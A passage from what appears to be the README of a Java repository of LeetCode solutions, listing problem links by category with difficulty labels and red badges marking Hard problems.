Random](src/main/java/design/RandomizedSet.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Serialize Deserialize Binary Tree](src/main/java/design/SerializeDeserializeBinaryTree.java) (Hard) - [Design Twitter](src/main/java/design/Twitter.java) (Medium) - [Tic-Tac-Toe](src/main/java/design/TicTacToe.java) (Medium) - [Implement Trie (Prefix Tree)](src/main/java/design/Trie.java) (Medium) - [Binary Search Tree Iterator](src/main/java/design/BSTIterator.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Design Search Autocomplete System](src/main/java/design/AutocompleteSystem.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Design Excel Sum Formula](src/main/java/design/Excel.java) (Hard) - [Flatten Nested List Iterator](src/main/java/design/NestedIterator.java) (Medium) - [Add and Search Word - Data structure design](src/main/java/design/WordDictionary.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Prefix and Suffix Search](src/main/java/design/WordFilter.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Insert Delete GetRandom O(1) - Duplicates allowed](src/main/java/design/RandomizedCollection.java) (Hard) #### [Divide and Conquer](src/main/java/divide_and_conquer) - [Kth Largest Element In a Array](src/main/java/divide_and_conquer/KthLargestElementInAnArray.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Pairs](src/main/java/divide_and_conquer/ReversePairs.java) (Hard) - [Search in a 2D Matrix](src/main/java/divide_and_conquer/SearchA2DMatrix.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [24 Game](src/main/java/divide_and_conquer/TwentyFourGame.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Pairs II](src/main/java/divide_and_conquer/ReversePairsII.java) (Hard) - [My Calendar II](src/main/java/divide_and_conquer/MyCalendarII.java) (Medium) #### [Dynamic Programming](src/main/java/dynamic_programming) - [Best Time To Buy and Sell Stocks](src/main/java/dynamic_programming/BestTimeToBuyAndSellStocks.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Best Time to Buy and Sell Stock III](src/main/java/dynamic_programming/BestTimeToBuyAndSellStockIII.java) (Hard) - [Best Time to Buy and Sell Stock with Transaction Fee](src/main/java/dynamic_programming/BestTimeToBuyAndSellStocksWithFee.java) (Medium) - [Climbing Stairs](src/main/java/dynamic_programming/ClimbingStairs.java) (Easy) - [Coin Change](src/main/java/dynamic_programming/CoinChange.java) (Medium) - [Coin Change 2](src/main/java/dynamic_programming/CoinChange2.java) (Medium) - [Decode Ways](src/main/java/dynamic_programming/DecodeWays.java) (Medium) - [House Robber](src/main/java/dynamic_programming/HouseRobber.java) (Easy) - [House Robber II](src/main/java/dynamic_programming/HouseRobberII.java) (Medium) - [Longest Increasing Subsequence](src/main/java/dynamic_programming/LongestIncreasingSubsequence.java) (Medium) - [Longest Paliandromic Substring](src/main/java/dynamic_programming/LongestPaliandromicSubstring.java) (Medium) - [Longest Palindromic Subsequence](src/main/java/dynamic_programming/LongestPalindromicSubsequence.java) (Medium) - [Maximum Product Subarray](src/main/java/dynamic_programming/MaximumProductSubarray.java) (Medium) - [Min Cost Climbing Stairs](src/main/java/dynamic_programming/MinCostClimbingStairs.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Partitioning II](src/main/java/dynamic_programming/PalindromePartitioningII.java) (Hard) - [UniqueBinary Search Trees](src/main/java/dynamic_programming/UniqueBinarySearchTrees.java) (Medium) - [Unique Binary Search Trees II](src/main/java/dynamic_programming/UniqueBinarySearchTreesII.java) (Medium) - [WordBreak](src/main/java/dynamic_programming/WordBreak.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [WordBreak II](src/main/java/dynamic_programming/WordBreakII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Concatenated Words](src/main/java/dynamic_programming/ConcatenatedWords.java) (Hard) - [Can I Win](src/main/java/dynamic_programming/CanIWin.java) (Medium) - [Maximum Subarray](src/main/java/dynamic_programming/MaximumSubarray.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Dungeon Game](src/main/java/dynamic_programming/DungeonGame.java) (Hard) - [2 Keys Keyboard](src/main/java/dynamic_programming/TwoKeysKeyboard.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Sum of 3 Non-Overlapping Subarrays](src/main/java/dynamic_programming/MaxSum3SubArray.java) (Hard) - [Maximal Square](src/main/java/dynamic_programming/MaximalSquare.java) (Medium) - [Continuous Subarray Sum](src/main/java/dynamic_programming/ContinuousSubarraySum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Decode Ways II](src/main/java/dynamic_programming/DecodeWaysII.java) (Hard) - [Palindromic Substrings](src/main/java/dynamic_programming/PalindromicSubstrings.java) (Medium) - [Number of Longest Increasing Subsequence](src/main/java/dynamic_programming/NumberOfLIS.java) (Medium) - [Combination Sum IV](src/main/java/dynamic_programming/CombinationSumIV.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Paint House II](src/main/java/dynamic_programming/PaintHouseII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Split Array Largest Sum](src/main/java/dynamic_programming/SplitArrayLargestSum.java) (Hard) - [Number Of Corner Rectangles](src/main/java/dynamic_programming/CornerRectangles.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Burst Balloons](src/main/java/dynamic_programming/BurstBalloons.java) (Hard) - [Largest Plus Sign](src/main/java/dynamic_programming/LargestPlusSign.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Pairs](src/main/java/dynamic_programming/PalindromePairs.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cherry Pickup](src/main/java/dynamic_programming/CherryPickup.java) (Hard) - [Knight Probability in Chessboard](src/main/java/dynamic_programming/KnightProbabilityInChessboard.java) (Medium) - [Largest Sum of Averages](src/main/java/dynamic_programming/LargestSumOfAverages.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Number of Refueling Stops](src/main/java/dynamic_programming/MinimumNumberOfRefuelingStops.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cat and Mouse](src/main/java/dynamic_programming/CatAndMouse.java) (Hard) - [Stone Game](src/main/java/dynamic_programming/StoneGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Odd Even Jump](src/main/java/dynamic_programming/OddEvenJump.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Profitable Schemes](src/main/java/dynamic_programming/ProfitableSchemes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Vacation Days](src/main/java/dynamic_programming/MaximumVacationDays.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Russian Doll Envelopes](src/main/java/dynamic_programming/RussianDollEnvelopes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Student Attendance Record II](src/main/java/dynamic_programming/StudentAttendanceRecordII.java) (Hard) - [Out of Boundary Paths](src/main/java/dynamic_programming/OutOfBoundaryPaths.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Remove Boxes](src/main/java/dynamic_programming/RemoveBoxes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stickers to Spell Word](src/main/java/dynamic_programming/StickersToSpellWord.java) (Hard) - [Ones and Zeroes](src/main/java/dynamic_programming/OnesAndZeroes.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Encode String with Shortest Length](src/main/java/dynamic_programming/EncodeStringWithShortestLength.java) (Hard) - [Length of Longest Fibonacci Subsequence](src/main/java/dynamic_programming/LengthofLongestFibonacciSubsequence.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Make Array Strictly Increasing](src/main/java/dynamic_programming/MakeArrayStrictlyIncreasing.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Number of Taps to Open to Water a Garden](src/main/java/dynamic_programming/MinimumNumberOfTaps.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Delete Columns to Make Sorted III](src/main/java/dynamic_programming/DeleteColumnsToMakeSortedIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Handshakes That Don't Cross](src/main/java/dynamic_programming/HandshakesThatDontCross.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Difficulty of a Job Schedule](src/main/java/dynamic_programming/MinimumDifficultyOfAJobSchedule.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Jump Game V](src/main/java/dynamic_programming/JumpGameV.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Freedom Trail](src/main/java/dynamic_programming/FreedomTrail.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Strange Printer](src/main/java/dynamic_programming/StrangePrinter.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Cost to Merge Stones](src/main/java/dynamic_programming/MinimumCostToMergeStones.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Interleaving String](src/main/java/dynamic_programming/InterleavingString.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Count Vowels Permutation](src/main/java/dynamic_programming/CountVowelsPermutation.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Non-negative Integers without Consecutive Ones](src/main/java/dynamic_programming/NonNegativeIntegersWithoutConsecutiveOnes.java) (Hard) - [Bomb Enemy](src/main/java/dynamic_programming/BombEnemy.java) (Medium) - [Number of Dice Rolls With Target Sum](src/main/java/dynamic_programming/NumberOfDiceRollsWithTargetSum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Distinct Subsequences](src/main/java/dynamic_programming/DistinctSubsequences.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Distinct Subsequences II](src/main/java/dynamic_programming/DistinctSubsequencesII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Distance to Type a Word Using Two Fingers](src/main/java/dynamic_programming/MinimumDistanceToTypeAWordUsingTwoFingers.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Valid Palindrome III](src/main/java/dynamic_programming/ValidPalindromeIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Partitioning III](src/main/java/dynamic_programming/PalindromePartitioningIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Tiling a Rectangle with the Fewest Squares](src/main/java/dynamic_programming/TilingARectangle.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Chunked Palindrome Decomposition](src/main/java/dynamic_programming/LongestChunkedPalindromeDecomposition.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stone Game III](src/main/java/dynamic_programming/StoneGameIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Ways to Stay in the Same Place After Some Steps](src/main/java/dynamic_programming/NumberOfWaysToStayInTheSamePlace.java) (Hard) - [Toss Strange Coins](src/main/java/dynamic_programming/TossStrangeCoins.java) (Medium) - [Knight Dialer](src/main/java/dynamic_programming/KnightDialer.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Removal](src/main/java/dynamic_programming/PalindromeRemoval.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Restore The Array](src/main/java/dynamic_programming/RestoreTheArray.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cherry Pickup II](src/main/java/dynamic_programming/CherryPickupII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Constrained Subsequence Sum](src/main/java/dynamic_programming/ConstrainedSubsequenceSum.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Multiple of Three](src/main/java/dynamic_programming/LargestMultipleOfThree.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Multiple of Three](src/main/java/dynamic_programming/MaximumProfitInJobScheduling.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Music Playlists](src/main/java/dynamic_programming/NumberOfMusicPlaylists.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Paint House III](src/main/java/dynamic_programming/PaintHouseIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Shortest Path Visiting All Nodes](src/main/java/dynamic_programming/ShortestPathVisitingAllNodes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Sufficient Team](src/main/java/dynamic_programming/SmallestSufficientTeam.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stone Game IV](src/main/java/dynamic_programming/StoneGameIV.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Tallest Billboard](src/main/java/dynamic_programming/TallestBillboard.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Count Different Palindromic Subsequences](src/main/java/dynamic_programming/CountDifferentPalindromicSubsequences.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Paths with Max Score](src/main/java/dynamic_programming/NumberOfPathsWithMaxScore.java) (Hard) #### [Greedy](src/main/java/greedy) - [Jump Game](src/main/java/greedy/JumpGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Jump Game II](src/main/java/greedy/JumpGameII.java) (Hard) - [Course Schedule III](src/main/java/greedy/CourseScheduleIII.java) (Medium) - [GasStation](src/main/java/greedy/GasStation.java) (Medium) - [Non-Overlapping Intervals](src/main/java/greedy/NonOverlappingIntervals.java) (Medium) - [Minimum Number of Arrows to Burst Balloons](src/main/java/greedy/BurstBalloons.java) (Medium) - [Queue Reconstruction By Height](src/main/java/greedy/QueueReconstructionByHeight.java) (Medium) - [Task Scheduler](src/main/java/greedy/TaskScheduler.java) (Medium) - [Maximum Length of Pair Chain](src/main/java/greedy/MaximumLengthOfPairChain.java) (Medium) - [Lemonade Change](src/main/java/greedy/LemonadeChange.java) (Easy) - [Score After Flipping Matrix](src/main/java/greedy/ScoreAfterFlippingMatrix.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [IPO](src/main/java/greedy/IPO.java) (Hard) - [String Without AAA or BBB](src/main/java/greedy/StringWithout3A3B.java) (Medium) - [Boats to Save People](src/main/java/greedy/BoatsToSavePeople.java) (Medium) - [Broken Calculator](src/main/java/greedy/BrokenCalculator.java) (Medium) - [Two City Scheduling](src/main/java/greedy/TwoCityScheduling.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Time to Build Blocks](src/main/java/greedy/MinimumTimeToBuildBlocks.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reducing Dishes](src/main/java/greedy/ReducingDishes.java) (Hard) #### [Hashing](src/main/java/hashing) - [Anagrams](src/main/java/hashing/Anagrams.java) (Medium) - [Group Anagrams](src/main/java/hashing/GroupAnagrams.java) (Medium) - [Kdiff Pairs In a Array](src/main/java/hashing/KdiffPairsInanArray.java) (Easy) - [Sort Character by Frequency](src/main/java/hashing/SortCharByFrequency.java) (Medium) - [Two Sum](src/main/java/hashing/TwoSum.java) (Easy) - [Valid Anagram](src/main/java/hashing/ValidAnagram.java) (Easy) - [Maximum Size Subarray Sum Equals k](src/main/java/hashing/MaximumSizeSubarraySumEqualsk.java) (Medium) - [Contiguous Array](src/main/java/hashing/ContiguousArray.java) (Medium) - [Brick Wall](src/main/java/hashing/BrickWall.java) (Medium) - [Partition Labels](src/main/java/hashing/PartitionLabels.java) (Medium) - [Custom Sort String](src/main/java/hashing/CustomSortString.java) (Medium) - [Short Encoding of Words](src/main/java/hashing/ShortEncodingOfWords.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Substring with Concatenation of All Words](src/main/java/hashing/SubstringConcatenationOfWords.java) (Hard) - [Distribute Candies](src/main/java/hashing/DistributeCandies.java) (Easy) - [Groups of Special-Equivalent Strings](src/main/java/hashing/GroupsOfSpecialEquivalentStrings.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Atoms](src/main/java/hashing/NumberOfAtoms.java) (Hard) - [Analyze User Website Visit Pattern](src/main/java/hashing/AnalyzeUserWebsiteVisitPattern.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [String Transforms Into Another String](src/main/java/hashing/StringTransformsIntoAnotherString.java) (Hard) #### [Heap](src/main/java/heap) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Sliding Window Maximum](src/main/java/heap/SlidingWindowMaximum.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [The Skyline Problem](src/main/java/heap/TheSkylineProblem.java) (Hard) - [Meeting Rooms II](src/main/java/heap/MeetingRoomsII.java) (Medium) - [Top K Frequent Words](src/main/java/heap/TopKFrequentWords.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Candy](src/main/java/heap/Candy.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Rotation with Highest Score](src/main/java/heap/SmallestRotationWithHighestScore.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Frequency Stack](src/main/java/heap/FreqStack.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reachable Nodes In Subdivided Graph](src/main/java/heap/ReachableNodesInSubdividedGraph.java) (Hard) - [K Closest Points to Origin](src/main/java/heap/KClosestPointsToOrigin.java) (Medium) - [Distant Barcodes](src/main/java/heap/DistantBarcodes.java) (Medium) #### [Linked List](src/main/java/linked_list) - [Intersection of two Linked-Lists](src/main/java/linked_list/IntersectionOfTwoLists.java) (Easy) - [Linked List Cycle](src/main/java/linked_list/LinkedListCycle.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Merge K Sorted Lists](src/main/java/linked_list/MergeKSortedLists.java) (Hard) - [Merge Two Sorted List](src/main/java/linked_list/MergeTwoSortedList.java) (Easy) - [Paliandrome List](src/main/java/linked_list/PaliandromeList.java) (Easy) - [Reverse Linked List](src/main/java/linked_list/ReverseLinkedList.java) (Easy) - [Delete Node in a Linked List](src/main/java/linked_list/DeleteNode.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Nodes in k-Group](src/main/java/linked_list/ReverseNodesKGroup.java) (Hard) - [Swap Nodes in Pairs](src/main/java/linked_list/SwapNodesInPairs.java) (Medium) - [Middle of Linked List](src/main/java/linked_list/MiddleOfLinkedList.java) (Easy) - [Split Linked List in Parts](src/main/java/linked_list/SplitLinkedListInParts.java) (Medium) - [Next Greater Node In Linked List](src/main/java/linked_list/NextGreaterNodeInLinkedList.java) (Medium) #### [Math](src/main/java/math) - [Add Two Numbers](src/main/java/math/AddTwoNumbers.java) (Medium) - [Count Primes](src/main/java/math/CountPrimes.java) (Easy) - [Rotate Function](src/main/java/math/RotateFunction.java) (Medium) - [Water and Jug Problem](src/main/java/math/WaterAndJugProblem.java) (Medium) - [Add Digits](src/main/java/math/AddDigits.java) (Easy) - [Excel Sheet Column Title](src/main/java/math/ExcelSheetColumnTitle.java) (Easy) - [Roman to Integer](src/main/java/math/RomanToInteger.java) (Easy) - [Bulb Switcher II](src/main/java/math/BulbSwitcherII.java) (Medium) - [Global and Local Inversions](src/main/java/math/GlobalAndLocalInversions.java) (Medium) - [Solve the Equation](src/main/java/math/SolveTheEquation.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Couples Holding Hands](src/main/java/math/CouplesHoldingHands.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reaching Points](src/main/java/math/ReachingPoints.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Nth Magical Number](src/main/java/math/NthMagicalNumber.java) (Hard) - [Squirrel Simulation](src/main/java/math/SquirrelSimulation.java) (Medium) - [Projection Area of 3D Shapes](src/main/java/math/ProjectionAreaOf3DShapes.java) (Easy) - [Decoded String at Index](src/main/java/math/DecodedStringAtIndex.java) (Medium) - [Base 7](src/main/java/math/Base7.java) (Easy) - [Smallest Range I](src/main/java/math/SmallestRangeI.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Component Size by Common Factor](src/main/java/math/LargestComponentSizebyCommonFactor.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Super Washing Machines](src/main/java/math/SuperWashingMachines.java) (Hard) - [Rectangle Overlap](src/main/java/math/RectangleOverlap.java) (Easy) - [Nth Digit](src/main/java/math/NthDigit.java) (Easy) #### [Reservoir Sampling](src/main/java/reservoir_sampling) - [Random Pick Index](src/main/java/reservoir_sampling/RandomPickIndex.java) (Medium) #### [Stack](src/main/java/stack) - [Min Stack](src/main/java/stack/MinStack.java) (Easy) - [Valid Parentheses](src/main/java/stack/ValidParentheses.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Rectangle In Histogram](src/main/java/stack/LargestRectangleInHistogram.java) (Hard) - [Implement Queue using Stacks](src/main/java/stack/MyQueue.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximal Rectangle](src/main/java/stack/MaximalRectangle.java) (Hard) - [Exclusive Time of Functions](src/main/java/stack/ExclusiveTimeOfFunctions.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Basic Calculator](src/main/java/stack/BasicCalculator.java) (Hard) - [Decode String](src/main/java/stack/DecodeString.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Valid Parentheses](src/main/java/stack/LongestValidParentheses.java) (Hard) #### [String](src/main/java/string) - [First Unique Character In a String](src/main/java/string/FirstUniqueCharacterInAString.java) (Easy) - [Repeated Substring Pattern](src/main/java/string/RepeatedSubstringPattern.java) (Easy) - [Reverse Words In a String](src/main/java/string/ReverseWordsInAString.java) (Medium) - [ReverseWords II](src/main/java/string/ReverseWordsII.java) (Medium) - [String to Integer](src/main/java/string/StringToInteger.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Text Justification](src/main/java/string/TextJustification.java) (Hard) - [ZigZag Conversion](src/main/java/string/ZigZagConversion.java) (Medium) - [Implement StrStr](src/main/java/string/ImplementStrStr.java) (Easy) - [Excel Sheet Column Number](src/main/java/string/ExcelSheetColumnNumber.java) (Easy) - [Compare Version Numbers](src/main/java/string/CompareVersionNumbers.java) (Easy) - [Valid Palindrome](src/main/java/string/ValidPalindrome.java) (Easy) - [Simplify Path](src/main/java/string/SimplifyPath.java) (Medium) - [Permutation in String](src/main/java/string/PermutationInString.java) (Medium) - [Add Binary](src/main/java/string/AddBinary.java) (Easy) - [Valid Palindrome II](src/main/java/string/ValidPalindromeII.java) (Easy) - [One Edit Distance](src/main/java/string/OneEditDistance.java) (Medium) - [Count and Say](src/main/java/string/CountAndSay.java) (Easy) - [Multiply Strings](src/main/java/string/MultiplyStrings.java) (Medium) - [Longest Word in Dictionary through Deleting](src/main/java/string/LongestWordInDictonary.java) (Medium) - [Isomorphic Strings](src/main/java/string/IsomorphicStrings.java) (Easy) - [String Compression](src/main/java/string/StringCompression.java) (Easy) - [Longest Common Prefix](src/main/java/string/LongestCommonPrefix.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Find the Closest Palindrome](src/main/java/string/FindTheClosestPalindrome.java) (Hard) - [Monotone Increasing Digits](src/main/java/string/MonotoneIncreasingDigits.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Shortest Palindrome](src/main/java/string/ShortestPalindrome.java) (Hard) - [Valid Word Abbreviation](src/main/java/string/ValidWordAbbreviation.java) (Easy) - [Longest Palindrome](src/main/java/string/LongestPalindrome.java) (Easy) - [Replace Words](src/main/java/string/ReplaceWords.java) (Medium) - [Rotate String](src/main/java/string/RotateString.java) (Easy) - [Keyboard Row](src/main/java/string/KeyboardRow.java) (Easy) - [Student Attendance Record I](src/main/java/string/StudentAttendanceRecordI.java) (Easy) - [Split Concatenated Strings](src/main/java/string/SplitConcatenatedStrings.java) (Medium) - [Valid Word Square](src/main/java/string/ValidWordSquare.java) (Easy) - [Reconstruct Original Digits from English](src/main/java/string/ReconstructOriginalDigitsFromEnglish.java) (Medium) - [Push Dominoes](src/main/java/string/PushDominoes.java) (Medium) - [Validate IP Address](src/main/java/string/ValidateIPAddress.java) (Medium) - [Reverse String II](src/main/java/string/ReverseStringII.java) (Easy) - [Find Words That Can Be Formed by Characters](src/main/java/string/FindWordsThatCanBeFormedbyCharacters.java) (Easy) - [Minimum Add to Make Parentheses Valid](src/main/java/string/MinimumAddtoMakeParenthesesValid.java) (Medium) #### [Tree](src/main/java/tree) - [Binaray Tree Right Side View](src/main/java/tree/BinarayTreeRightSideView.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Binary Tree Maximum Path Sum](src/main/java/tree/BinaryTreeMaximumPathSum.java) (Hard) - [Boundary of Binary Tree](src/main/java/tree/BoundaryOfBinaryTree.java) (Medium) - [Convert sorted array to BST](src/main/java/tree/ConvertSortedArrayToBST.java) (Medium) - [Lowest Common Ancestor of a Binary Tree](src/main/java/tree/LCA.java) (Medium) - [Lowest Common Ancestor of a BST](src/main/java/tree/LowestCommonAncestorBST.java) (Easy) - [Most Frequent Subtree Sum](src/main/java/tree/MostFrequentSubtreeSum.java) (Medium) - [Path Sum III](src/main/java/tree/PathSumIII.java) (Easy) - [Convert Postorder and Inorder traversal to Binary Tree](src/main/java/tree/PostorderToBT.java) (Medium) - [Convert Preorder and Inorder traversal to Binary Tree](src/main/java/tree/PreorderToBT.java) (Medium) - [Sorted Array to BST](src/main/java/tree/SortedArrayToBST.java) (Medium) - [Valid Binary Search Tree](src/main/java/tree/ValidBinarySearchTree.java) (Medium) - [Largest BST Subtree](src/main/java/tree/LargestBSTSubtree.java) (Medium) - [Closest Binary Search Tree Value](src/main/java/tree/ClosestBinarySearchTreeValue.java) (Easy) - [Inorder Successor in BST](src/main/java/tree/InorderSuccessorInBST.java) (Medium) - [Construct String From Binary Tree](src/main/java/tree/ConstructStringFromBinaryTree.java) (Easy) - [Flatten Binary Tree to Linked List](src/main/java/tree/FlattenBinaryTree.java) (Medium) - [Populating Next Right Pointers in Each Node](src/main/java/tree/NextRightPointer.java) (Medium) - [Populating Next Right Pointers in Each Node II](src/main/java/tree/NextRightPointerII.java) (Medium) - [Subtree of Another Tree](src/main/java/tree/SubtreeOfAnotherTree.java) (Easy) - [Binary Tree Zigzag Level Order Traversal](src/main/java/tree/ZigZagTraversal.java) (Medium) - [Binary Tree Inorder Traversal](src/main/java/tree/BinaryTreeInorderTraversal.java) (Medium) - [Symmetric Tree](src/main/java/tree/SymmetricTree.java) (Easy) - [Maximum Binary Tree](src/main/java/tree/MaximumBinaryTree.java) (Medium) - [Find Bottom Left Tree Value](src/main/java/tree/FindBottomLeftTreeValue.java) (Medium) - [Diameter of Binary Tree](src/main/java/tree/DiameterOfBinaryTree.java) (Easy) - [Binary Tree Paths](src/main/java/tree/BinaryTreePaths.java) (Easy) - [Sum of Left Leaves](src/main/java/tree/SumofLeftLeaves.java) (Easy) - [Two Sum IV - Input is a BST](src/main/java/tree/TwoSumIV.java) (Easy) - [Average of Levels in Binary Tree](src/main/java/tree/AverageOfLevelsInBinaryTree.java) (Easy) - [Convert Binary Search Tree to Sorted Doubly Linked List](src/main/java/tree/BSTtoDoublyLinkedList.java) (Easy) - [Same Tree](src/main/java/tree/SameTree.java) (Easy) - [Binary Tree Longest Consecutive SequencefindMinDifference II](src/main/java/tree/BinaryTreeLongestConsecutiveSequenceII.java) (Medium) - [Minimum Absolute Difference in BST](src/main/java/tree/MinimumAbsoluteDifferenceInBST.java) (Medium) - [Equal Tree Partition](src/main/java/tree/EqualTreePartition.java) (Medium) - [Split BST](src/main/java/tree/SplitBST.java) (Medium) - [Closest Leaf in a Binary Tree](src/main/java/tree/ClosestLeafInABinaryTree.java) (Medium) - [Maximum Width of Binary Tree](src/main/java/tree/MaximumWidthOfBinaryTree.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Recover Binary Search Tree](src/main/java/tree/RecoverBinarySearchTree.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Binary Tree Postorder Traversal](src/main/java/tree/BinaryTreePostorderTraversal.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Serialize and Deserialize N-ary Tree](src/main/java/tree/SerializeAndDeserializeNAryTree.java) (Hard) - [Convert BST to Greater Tree](src/main/java/tree/ConvertBSTToGreaterTree.java) (Easy) - [All Nodes Distance K in Binary Tree](src/main/java/tree/AllNodesDistanceKInBinaryTree.java) (Medium) - [All Possible Full Binary Trees](src/main/java/tree/AllPossibleFullBinaryTrees.java) (Medium) - [Flip Equivalent Binary Trees](src/main/java/tree/FlipEquivalentBinaryTrees.java) (Medium) - [Construct 